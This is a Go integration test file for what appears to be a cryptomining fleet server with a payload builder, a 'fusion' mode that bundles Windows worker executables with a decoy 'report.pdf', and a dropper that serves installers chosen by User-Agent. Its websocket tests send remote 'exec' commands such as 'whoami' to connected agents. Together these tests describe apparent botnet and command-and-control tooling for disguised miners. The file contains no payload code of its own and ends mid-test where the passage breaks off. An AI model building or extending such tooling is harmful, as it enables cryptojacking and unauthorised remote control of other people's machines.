package api import ( "bytes" "encoding/json" "errors" "io" "mime/multipart" "net/http" "net/http/httptest" "os" "path/filepath" "runtime" "strings" "testing" "time" "crypto-miner-server/internal/builder" "crypto-miner-server/internal/db" "crypto-miner-server/internal/models" "crypto-miner-server/internal/pool" "github.com/gorilla/websocket" ) type mockConfigProvider struct { raw json.RawMessage } func (m *mockConfigProvider) GetConfigJSON() json.RawMessage { if len(m.raw) == 0 { return json.RawMessage(`{"port":8989}`) } return m.raw } func (m *mockConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error { m.raw = data return nil } const testAuthUser = "testuser" const testAuthPass = "testpass" const testFleetSecret = "test-fleet-secret-integration" func seedTestUsers(t *testing.T, dataDir string) { t.Helper() usersPath := filepath.Join(dataDir, "users.json") data, err := json.Marshal(map[string]string{testAuthUser: testAuthPass}) if err != nil { t.Fatalf("marshal users: %v", err) } if err := os.WriteFile(usersPath, data, 0600); err != nil { t.Fatalf("write users.json: %v", err) } } func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) { t.Helper() dataDir := t.TempDir() seedTestUsers(t, dataDir) database, err := db.New(dataDir) if err != nil { t.Fatalf("db: %v", err) } t.Cleanup(func() { database.Close() }) wsHub := NewWSHub(database) cfg := &mockConfigProvider{} configHandler := NewConfigHandler(cfg) aiHandler := NewAIHandler(database) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, "", dataDir) pathForgeHandler := builder.NewPathForgeHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir) webRoot := filepath.Join(dataDir, "webroot") _ = os.MkdirAll(webRoot, 0755) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) dropperHandler := NewDropperHandler(database, dataDir, nil) return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder { t.Helper() var req *http.Request if body != nil { req = httptest.NewRequest(method, path, bytes.NewReader(body)) req.Header.Set("Content-Type", "application/json") } else { req = httptest.NewRequest(method, path, nil) } req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) return rec } func serveAuthedMultipart(t *testing.T, router http.Handler, path string, body *bytes.Buffer, contentType string) *httptest.ResponseRecorder { t.Helper() req := httptest.NewRequest(http.MethodPost, path, bytes.NewReader(body.Bytes())) req.Header.Set("Content-Type", contentType) req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) return rec } func integrationWorkspaceRoot(t *testing.T) string { t.Helper() dir, err := os.Getwd() if err != nil { t.Fatal(err) } for i := 0; i < 10; i++ { if _, err := os.Stat(filepath.Join(dir, "agent", "go.mod")); err == nil { if _, err2 := os.Stat(filepath.Join(dir, "fusion", "main.go")); err2 == nil { return dir } } parent := filepath.Dir(dir) if parent == dir { break } dir = parent } t.Skip("workspace root (agent/ and fusion/) not found") return "" } func newFusionTestRouter(t *testing.T, projectRoot string) (http.Handler, *WSHub, *db.Database, string) { t.Helper() dataDir := t.TempDir() seedTestUsers(t, dataDir) database, err := db.New(dataDir) if err != nil { t.Fatalf("db: %v", err) } t.Cleanup(func() { database.Close() }) wsHub := NewWSHub(database) cfg := &mockConfigProvider{} configHandler := NewConfigHandler(cfg) aiHandler := NewAIHandler(database) fleetHandler := NewFleetHandler(database, wsHub, aiHandler, nil, nil, pool.Config{}, dataDir) builderHandler := builder.NewHandler(database, dataDir, filepath.Join(projectRoot, "agent"), projectRoot) installFakeGoSuccess(t, builderHandler) pathForgeHandler := builder.NewPathForgeHandler(dataDir) blueprintHandler := NewBlueprintHandler(dataDir) webRoot := filepath.Join(dataDir, "webroot") _ = os.MkdirAll(webRoot, 0755) _ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("AetherForge"), 0644) dropperHandler := NewDropperHandler(database, dataDir, nil) return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, nil, nil, pathForgeHandler, nil, webRoot, dataDir, nil, 8989, nil), wsHub, database, dataDir } func fusionMultipartBody(t *testing.T) (*bytes.Buffer, string) { t.Helper() body := &bytes.Buffer{} mw := multipart.NewWriter(body) cfg, err := json.Marshal(builder.BuildRequest{ WorkerName: "integration-fusion", ServerURL: "http://127.0.0.1:8989", Wallet: "48abc", TargetOS: "windows", FusionEnabled: true, FusionMediaMode: "paired", FusionPayloadKind: "file", FusionMediaBaseName: "report.pdf", }) if err != nil { t.Fatal(err) } if err := mw.WriteField("config", string(cfg)); err != nil { t.Fatal(err) } part, err := mw.CreateFormFile("prep_exe", "report.pdf") if err != nil { t.Fatal(err) } if _, err := part.Write([]byte("%PDF-1.4 integration")); err != nil { t.Fatal(err) } contentType := mw.FormDataContentType() if err := mw.Close(); err != nil { t.Fatal(err) } return body, contentType } func installFakeGoSuccess(t *testing.T, h *builder.Handler) { t.Helper() dir := t.TempDir() if runtime.GOOS == "windows" { p := filepath.Join(dir, "go-ok.bat") script := "@echo off\r\nsetlocal EnableDelayedExpansion\r\nset \"OUT=\"\r\n" + ":loop\r\nif \"%~1\"==\"\" goto done\r\nif /I \"%~1\"==\"-o\" (\r\n" + " set \"OUT=%~2\"\r\n shift\r\n shift\r\n goto loop\r\n)\r\n" + "shift\r\ngoto loop\r\n:done\r\n" + "if defined OUT (\r\n" + " for %%I in (\"!OUT!\") do if not exist \"%%~dpI\" mkdir \"%%~dpI\" 2>nul\r\n" + " echo fake>\"!OUT!\"\r\n" + ")\r\nexit /b 0\r\n" if err := os.WriteFile(p, []byte(script), 0644); err != nil { t.Fatal(err) } h.SetGoBinPath(p) return } p := filepath.Join(dir, "go-ok.sh") script := "#!/bin/sh\nOUT=\"\"\nwhile [ $# -gt 0 ]; do\n" + " if [ \"$1\" = \"-o\" ]; then OUT=\"$2\"; shift; fi\n shift\n" + "done\nif [ -n \"$OUT\" ]; then mkdir -p \"$(dirname \"$OUT\")\"; echo fake > \"$OUT\"; fi\nexit 0\n" if err := os.WriteFile(p, []byte(script), 0755); err != nil { t.Fatal(err) } h.SetGoBinPath(p) } // serveWithFleetSecret sends a request with the fleet secret header (for /api/v1/agent/* routes). func serveWithFleetSecret(t *testing.T, router http.Handler, method, path, secret string, body []byte) *httptest.ResponseRecorder { t.Helper() var req *http.Request if body != nil { req = httptest.NewRequest(method, path, bytes.NewReader(body)) req.Header.Set("Content-Type", "application/json") } else { req = httptest.NewRequest(method, path, nil) } req.Header.Set("X-Fleet-Secret", secret) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) return rec } func insertTestBuild(t *testing.T, database *db.Database, dataDir, buildID, platform, fileName string) { t.Helper() buildDir := filepath.Join(dataDir, "builds", buildID) if err := os.MkdirAll(buildDir, 0755); err != nil { t.Fatal(err) } binPath := filepath.Join(buildDir, fileName) if err := os.WriteFile(binPath, []byte("fake-binary-"+platform), 0644); err != nil { t.Fatal(err) } if err := database.InsertBuild(&models.BuildRecord{ ID: buildID, WorkerName: "worker", ServerURL: "http://localhost:8989", Wallet: "48x", FilePath: binPath, FileName: fileName, Platform: platform, CreatedAt: time.Now(), }); err != nil { t.Fatal(err) } } func startRouterServer(t *testing.T, router http.Handler) *httptest.Server { t.Helper() srv := httptest.NewServer(router) t.Cleanup(srv.Close) return srv } func connectAgentViaRouter(t *testing.T, router http.Handler, agentID string) (*websocket.Conn, *httptest.Server) { t.Helper() srv := startRouterServer(t, router) wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent" conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) if err != nil { t.Fatalf("dial agent ws: %v", err) } t.Cleanup(func() { _ = conn.Close() }) authPayload, _ := json.Marshal(map[string]interface{}{ "agent_id": agentID, "hostname": "integration-host", "version": "1.0", }) if err := conn.WriteJSON(Message{Type: "auth", Payload: authPayload}); err != nil { t.Fatalf("send auth: %v", err) } var resp Message if err := conn.ReadJSON(&resp); err != nil { t.Fatalf("read auth_response: %v", err) } if resp.Type != "auth_response" { t.Fatalf("expected auth_response, got %q", resp.Type) } return conn, srv } func TestHealthIsPublic(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/health", nil) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("health status=%d body=%s", rec.Code, rec.Body.String()) } var body map[string]string if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if body["status"] != "ok" { t.Fatalf("unexpected health: %v", body) } } func TestConfigRequiresAuth(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusUnauthorized { t.Fatalf("expected 401, got %d", rec.Code) } } func TestConfigWithValidAuth(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/config", nil) req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String()) } } func TestAgentsListRequiresAuth(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusUnauthorized { t.Fatalf("expected 401, got %d", rec.Code) } } func TestAgentsListAuthedEmpty(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents", nil) req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("expected 200, got %d", rec.Code) } var agents []json.RawMessage if err := json.Unmarshal(rec.Body.Bytes(), &agents); err != nil { t.Fatal(err) } if len(agents) != 0 { t.Fatalf("expected empty fleet, got %d", len(agents)) } } func TestArtifactDownloadRejectsTraversal(t *testing.T) { router, _, _, dataDir := newTestRouter(t) buildID := "test-build-id" buildDir := filepath.Join(dataDir, "builds", buildID) if err := os.MkdirAll(buildDir, 0755); err != nil { t.Fatal(err) } req := httptest.NewRequest(http.MethodGet, "/api/v1/builds/"+buildID+"/artifact/..%2F..%2Fsecret.txt", nil) req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusBadRequest && rec.Code != http.StatusNotFound { t.Fatalf("expected rejection, got %d body=%s", rec.Code, rec.Body.String()) } } func TestSPAServesIndex(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/dashboard", nil) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("expected 200, got %d", rec.Code) } if !contains(rec.Body.String(), "AetherForge") { t.Fatalf("expected SPA fallback html") } } func contains(s, sub string) bool { return len(s) >= len(sub) && (s == sub || len(sub) == 0 || indexOf(s, sub) >= 0) } func indexOf(s, sub string) int { for i := 0; i+len(sub) <= len(s); i++ { if s[i:i+len(sub)] == sub { return i } } return -1 } func TestStatsLimitCapped(t *testing.T) { router, _, _, _ := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/api/v1/agents/nope/stats?limit=999999", nil) req.SetBasicAuth(testAuthUser, testAuthPass) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) // Agent may not exist — 404 is fine; we only care handler doesn't 500 on huge limit if rec.Code == http.StatusInternalServerError { t.Fatalf("limit cap caused server error: %s", rec.Body.String()) } } func TestIntegrationServerInfo(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodGet, "/api/v1/server/info", nil) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var body map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if _, ok := body["port"]; !ok { t.Fatalf("expected port in server info: %v", body) } } func TestIntegrationDashboardStats(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodGet, "/api/v1/dashboard/stats", nil) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } } func TestIntegrationGetAgentNotFound(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/missing-agent", nil) if rec.Code != http.StatusNotFound { t.Fatalf("expected 404, got %d", rec.Code) } } func TestIntegrationAgentLog(t *testing.T) { router, wsHub, _, _ := newTestRouter(t) agentID := "log-agent" connectTestAgent(t, wsHub, agentID) rec := serveAuthed(t, router, http.MethodGet, "/api/v1/agents/"+agentID+"/log", nil) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var body map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if body["agent_id"] != agentID { t.Fatalf("unexpected agent_id: %v", body["agent_id"]) } } func TestIntegrationAgentCommandOffline(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/offline-agent/command", []byte(`{"action":"pause"}`)) // Command for a non-connected agent returns 200 with success:false (not a 4xx), // so the caller can inspect the error without tripping HTTP error handling. if rec.Code != http.StatusOK { t.Fatalf("expected 200 for offline agent, got %d body=%s", rec.Code, rec.Body.String()) } var body map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if body["success"] != false { t.Fatalf("expected success=false, got %v", body) } } func TestIntegrationAgentMeta(t *testing.T) { router, _, database, _ := newTestRouter(t) agent := &models.Agent{ID: "meta-rig", Name: "rig", Status: "offline", LastSeen: time.Now()} if err := database.UpsertAgent(agent); err != nil { t.Fatal(err) } rec := serveAuthed(t, router, http.MethodPut, "/api/v1/agents/meta-rig/meta", []byte(`{"notes":"integration test","tags":["lab"]}`)) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } } func TestIntegrationBulkCommandPartialFailure(t *testing.T) { router, wsHub, _, _ := newTestRouter(t) onlineID := "bulk-online" connectTestAgent(t, wsHub, onlineID) payload := `{"agent_ids":["` + onlineID + `","offline-one"],"action":"pause","command":"tasklist"}` rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/bulk-command", []byte(payload)) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var body map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if body["success"] != true { t.Fatalf("expected partial success true, got %v", body) } if body["sent"].(float64) != 1 || body["failed"].(float64) != 1 { t.Fatalf("sent/failed counts: %v", body) } } func TestIntegrationFleetReadEndpoints(t *testing.T) { router, _, _, _ := newTestRouter(t) paths := []string{ "/api/v1/alerts", "/api/v1/pools/status", "/api/v1/ai/activity", "/api/v1/earnings/estimate", "/api/v1/shares", "/api/v1/builds", } for _, path := range paths { rec := serveAuthed(t, router, http.MethodGet, path, nil) if rec.Code != http.StatusOK { t.Fatalf("%s status=%d body=%s", path, rec.Code, rec.Body.String()) } } } func TestIntegrationMarketXMR(t *testing.T) { setMockHTTPTransport(t, roundTripFunc(func(req *http.Request) (*http.Response, error) { if !strings.Contains(req.URL.String(), "coingecko") { return nil, errors.New("unexpected url") } body := `{"monero":{"usd":165.5}}` return &http.Response{ StatusCode: http.StatusOK, Body: io.NopCloser(strings.NewReader(body)), Header: http.Header{"Content-Type": []string{"application/json"}}, }, nil })) router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodGet, "/api/v1/market/xmr", nil) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } var body map[string]interface{} if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil { t.Fatal(err) } if body["usd"].(float64) != 165.5 { t.Fatalf("unexpected price: %v", body["usd"]) } } func TestIntegrationBuildsLifecycle(t *testing.T) { router, _, database, dataDir := newTestRouter(t) buildID := "lifecycle-build" insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe") rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds", nil) if rec.Code != http.StatusOK { t.Fatalf("list status=%d", rec.Code) } rec = serveAuthed(t, router, http.MethodPut, "/api/v1/builds/"+buildID+"/pin", nil) if rec.Code != http.StatusOK { t.Fatalf("pin status=%d body=%s", rec.Code, rec.Body.String()) } rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/pin", nil) if rec.Code != http.StatusOK { t.Fatalf("unpin status=%d", rec.Code) } rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builds/"+buildID, nil) if rec.Code != http.StatusOK { t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String()) } } func TestIntegrationPutConfig(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodPut, "/api/v1/config", []byte(`{"port":9090}`)) if rec.Code != http.StatusOK { t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) } if !strings.Contains(rec.Body.String(), "9090") { t.Fatalf("expected updated config: %s", rec.Body.String()) } } func TestFusionMultipartEndToEndViaRouter(t *testing.T) { projectRoot := integrationWorkspaceRoot(t) router, _, database, _ := newFusionTestRouter(t, projectRoot) body, contentType := fusionMultipartBody(t) req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/build", bytes.NewReader(body.Bytes())) req.Header.Set("Content-Type", contentType) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusUnauthorized { t.Fatalf("unauthed multipart forge expected 401, got %d body=%s", rec.Code, rec.Body.String()) } body, contentType = fusionMultipartBody(t) rec = serveAuthedMultipart(t, router, "/api/v1/builder/build", body, contentType) if rec.Code != http.StatusOK { t.Fatalf("authed fusion multipart status=%d body=%s", rec.Code, rec.Body.String()) } var resp builder.BuildResponse if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { t.Fatalf("decode build response: %v body=%s", err, rec.Body.String()) } if !resp.Success { t.Fatalf("expected success=true, got %+v", resp) } if resp.BuildID == "" { t.Fatal("expected build_id in response") } record, err := database.GetBuild(resp.BuildID) if err != nil { t.Fatalf("build not in database: %v", err) } if record.WorkerName != "integration-fusion" { t.Fatalf("worker_name: got %q want integration-fusion", record.WorkerName) } if record.Platform != "windows" { t.Fatalf("platform: got %q want windows", record.Platform) } builds, err := database.ListBuilds(10) if err != nil { t.Fatal(err) } if len(builds) != 1 { t.Fatalf("expected 1 build in DB, got %d", len(builds)) } } func TestIntegrationBuilderRoutes(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodPost, "/api/v1/builder/build", []byte(`{}`)) if rec.Code == http.StatusNotFound { t.Fatal("builder/build route not registered") } rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/estimate", []byte("not-multipart")) if rec.Code == http.StatusNotFound { t.Fatal("builder/estimate route not registered") } if rec.Code != http.StatusBadRequest { t.Fatalf("estimate without multipart expected 400, got %d", rec.Code) } rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/builder/cancel/no-such-token", nil) if rec.Code != http.StatusNotFound { t.Fatalf("cancel missing token expected 404, got %d", rec.Code) } rec = serveAuthed(t, router, http.MethodPost, "/api/v1/builder/path-forge", []byte(`{}`)) if rec.Code == http.StatusNotFound { t.Fatal("builder/path-forge route not registered") } if rec.Code != http.StatusBadRequest { t.Fatalf("path-forge without root_path expected 400, got %d", rec.Code) } } func TestIntegrationBlueprintsCRUD(t *testing.T) { router, _, _, dataDir := newTestRouter(t) saveBody, _ := json.Marshal(map[string]interface{}{ "name": "integration-preset", "data": map[string]interface{}{"threads": 2}, }) rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", saveBody) if rec.Code != http.StatusOK { t.Fatalf("save status=%d body=%s", rec.Code, rec.Body.String()) } filePath := filepath.Join(dataDir, "blueprints", "integration-preset.json") if _, err := os.Stat(filePath); err != nil { t.Fatalf("blueprint file missing: %v", err) } rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints", nil) if rec.Code != http.StatusOK { t.Fatalf("list status=%d", rec.Code) } rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/integration-preset", nil) if rec.Code != http.StatusOK { t.Fatalf("get status=%d body=%s", rec.Code, rec.Body.String()) } rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints?name=integration-preset", nil) if rec.Code != http.StatusOK { t.Fatalf("delete status=%d body=%s", rec.Code, rec.Body.String()) } } func TestIntegrationBlueprintErrors(t *testing.T) { router, _, _, _ := newTestRouter(t) rec := serveAuthed(t, router, http.MethodPost, "/api/v1/blueprints", []byte(`{"name":"","data":{}}`)) if rec.Code != http.StatusBadRequest { t.Fatalf("empty name expected 400, got %d", rec.Code) } rec = serveAuthed(t, router, http.MethodGet, "/api/v1/blueprints/missing-preset", nil) if rec.Code != http.StatusNotFound { t.Fatalf("missing blueprint expected 404, got %d", rec.Code) } rec = serveAuthed(t, router, http.MethodDelete, "/api/v1/blueprints", nil) if rec.Code != http.StatusBadRequest { t.Fatalf("delete without name expected 400, got %d", rec.Code) } } func TestIntegrationAIRoutes(t *testing.T) { router, _, _, _ := newTestRouter(t) // Agent routes require fleet secret (not Basic Auth). SetAgentPathSecret(testFleetSecret) t.Cleanup(func() { SetAgentPathSecret("") }) // decide: missing agent_id → 400. rec := serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/decide", testFleetSecret, []byte(`{"worker_name":"x"}`)) if rec.Code != http.StatusBadRequest { t.Fatalf("decide missing agent_id expected 400, got %d body=%s", rec.Code, rec.Body.String()) } // report and heartbeat require fleet secret; they don't need a pre-registered engine. body, _ := json.Marshal(map[string]string{"agent_id": "report-agent", "tool": "sleep", "output": "ok"}) rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/report", testFleetSecret, body) if rec.Code != http.StatusOK { t.Fatalf("report status=%d body=%s", rec.Code, rec.Body.String()) } hb, _ := json.Marshal(map[string]string{"agent_id": "hb-agent", "status": "alive"}) rec = serveWithFleetSecret(t, router, http.MethodPost, "/api/v1/agent/heartbeat", testFleetSecret, hb) if rec.Code != http.StatusOK { t.Fatalf("heartbeat status=%d body=%s", rec.Code, rec.Body.String()) } } func TestIntegrationAgentRoutesFleetSecret(t *testing.T) { router, _, _, _ := newTestRouter(t) SetAgentPathSecret("integration-fleet-secret") t.Cleanup(func() { SetAgentPathSecret("") }) req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/heartbeat", bytes.NewReader([]byte(`{"agent_id":"a","status":"alive"}`))) req.Header.Set("Content-Type", "application/json") rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusForbidden { t.Fatalf("missing fleet secret expected 403, got %d", rec.Code) } req.Header.Set("X-Fleet-Secret", "integration-fleet-secret") rec = httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("valid fleet secret expected 200, got %d body=%s", rec.Code, rec.Body.String()) } } func TestIntegrationDropperVariants(t *testing.T) { router, _, database, dataDir := newTestRouter(t) req := httptest.NewRequest(http.MethodGet, "/get", nil) rec := httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusNotFound { t.Fatalf("no builds expected 404, got %d", rec.Code) } insertTestBuild(t, database, dataDir, "win-drop", "windows", "worker.exe") req = httptest.NewRequest(http.MethodGet, "/get?os=windows", nil) rec = httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("windows build expected 200, got %d body=%s", rec.Code, rec.Body.String()) } req = httptest.NewRequest(http.MethodGet, "/get?os=linux", nil) rec = httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("linux with only windows build falls back to latest, expected 200, got %d", rec.Code) } req = httptest.NewRequest(http.MethodGet, "/get", nil) req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 10.0)") rec = httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("UA-detected windows expected 200, got %d", rec.Code) } for _, path := range []string{"/install.sh", "/install.ps1"} { req = httptest.NewRequest(http.MethodGet, path, nil) req.Host = "forge.local:8989" rec = httptest.NewRecorder() router.ServeHTTP(rec, req) if rec.Code != http.StatusOK { t.Fatalf("%s status=%d", path, rec.Code) } } } func TestIntegrationBuildUninstallNotFound(t *testing.T) { router, _, database, dataDir := newTestRouter(t) buildID := "uninstall-build" insertTestBuild(t, database, dataDir, buildID, "windows", "worker.exe") rec := serveAuthed(t, router, http.MethodGet, "/api/v1/builds/"+buildID+"/uninstall", nil) if rec.Code != http.StatusNotFound { t.Fatalf("missing uninstall script expected 404, got %d", rec.Code) } } func TestIntegrationRouterWebSocketDashboard(t *testing.T) { router, _, _, _ := newTestRouter(t) srv := startRouterServer(t, router) badURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard" _, resp, err := websocket.DefaultDialer.Dial(badURL, nil) if err == nil { t.Fatal("expected dial failure without token") } if resp == nil || resp.StatusCode != http.StatusUnauthorized { t.Fatalf("expected 401 without token, got err=%v status=%v", err, resp) } goodURL := badURL + "?token=" + wsDashboardToken(testAuthUser, testAuthPass) conn, resp, err := websocket.DefaultDialer.Dial(goodURL, nil) if err != nil { t.Fatalf("dial with token: %v status=%v", err, resp) } t.Cleanup(func() { _ = conn.Close() }) var msg Message if err := conn.ReadJSON(&msg); err != nil { t.Fatalf("read init: %v", err) } if msg.Type != "init" { t.Fatalf("expected init, got %q", msg.Type) } } func TestIntegrationRouterWebSocketAgentBadSecret(t *testing.T) { router, wsHub, _, _ := newTestRouter(t) wsHub.SetFleetSecret("ws-fleet-secret") t.Cleanup(func() { wsHub.SetFleetSecret("") }) srv := startRouterServer(t, router) wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/agent" conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) if err != nil { t.Fatalf("dial agent ws: %v", err) } t.Cleanup(func() { _ = conn.Close() }) resp := authAgentConn(t, conn, map[string]interface{}{ "agent_id": "bad-secret-agent", "fleet_secret": "wrong", "hostname": "host", }) var body map[string]interface{} if err := json.Unmarshal(resp.Payload, &body); err != nil { t.Fatal(err) } if body["success"] != false { t.Fatalf("expected auth failure with bad fleet secret, got %+v", body) } if wsHub.isAgentConnected("bad-secret-agent") { t.Fatal("agent should not register with bad fleet secret") } } func TestIntegrationRouterWebSocketAgentConnectedCommand(t *testing.T) { router, wsHub, _, _ := newTestRouter(t) agentID := "router-cmd-agent" connectAgentViaRouter(t, router, agentID) deadline := time.Now().Add(2 * time.Second) for time.Now().Before(deadline) { if wsHub.isAgentConnected(agentID) { break } time.Sleep(10 * time.Millisecond) } if !wsHub.isAgentConnected(agentID) { t.Fatal("agent not connected via router ws") } rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", []byte(`{"action":"pause"}`)) if rec.Code != http.StatusOK { t.Fatalf("command status=%d body=%s", rec.Code, rec.Body.String()) } } // TestIntegrationRouterCommandFullRoundTrip validates the full remote-command path // through the HTTP router: POST /api/v1/agents/{id}/command → agent WS receives // command → simulated agent sends command_result → dashboard WS receives broadcast. func TestIntegrationRouterCommandFullRoundTrip(t *testing.T) { router, wsHub, _, _ := newTestRouter(t) agentID := "router-roundtrip-agent" const testAction = "exec" const testCommand = "whoami" const resultMessage = "integration round-trip ok" agentConn, srv := connectAgentViaRouter(t, router, agentID) deadline := time.Now().Add(2 * time.Second) for time.Now().Before(deadline) { if wsHub.isAgentConnected(agentID) { break } time.Sleep(10 * time.Millisecond) } if !wsHub.isAgentConnected(agentID) { t.Fatal("agent not connected via router ws") } dashURL := "ws" + strings.TrimPrefix(srv.URL, "http") + "/ws/dashboard?token=" + wsDashboardToken(testAuthUser, testAuthPass) dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil) if err != nil { t.Fatalf("dial dashboard ws: %v", err) } t.Cleanup(func() { _ = dashConn.Close() }) type msgResult struct { body map[string]interface{} err string } cmdResultCh := make(chan msgResult, 1) go func() { _ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second)) for { var msg Message if err := dashConn.ReadJSON(&msg); err != nil { cmdResultCh <- msgResult{err: err.Error()} return } if msg.Type != "command_result" { continue } var body map[string]interface{} if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil { cmdResultCh <- msgResult{err: "parse: " + parseErr.Error()} return } cmdResultCh <- msgResult{body: body} return } }() type agentCmdResult struct { cmd Message err string } agentCmdCh := make(chan agentCmdResult, 1) go func() { _ = agentConn.SetReadDeadline(time.Now().Add(5 * time.Second)) var cmd Message if err := agentConn.ReadJSON(&cmd); err != nil { agentCmdCh <- agentCmdResult{err: err.Error()} return } agentCmdCh <- agentCmdResult{cmd: cmd} cmdPayload, _ := json.Marshal(map[string]interface{}{ "action": testAction, "success": true, "message": resultMessage, }) if err := agentConn.WriteJSON(Message{Type: "command_result", Payload: cmdPayload}); err != nil { agentCmdCh <- agentCmdResult{err: "send command_result: " + err.Error()} } }() cmdBody, _ := json.Marshal(map[string]string{ "action": testAction, "command": testCommand, }) rec := serveAuthed(t, router, http.MethodPost, "/api/v1/agents/"+agentID+"/command", cmdBody) if rec.Code != http.StatusOK { 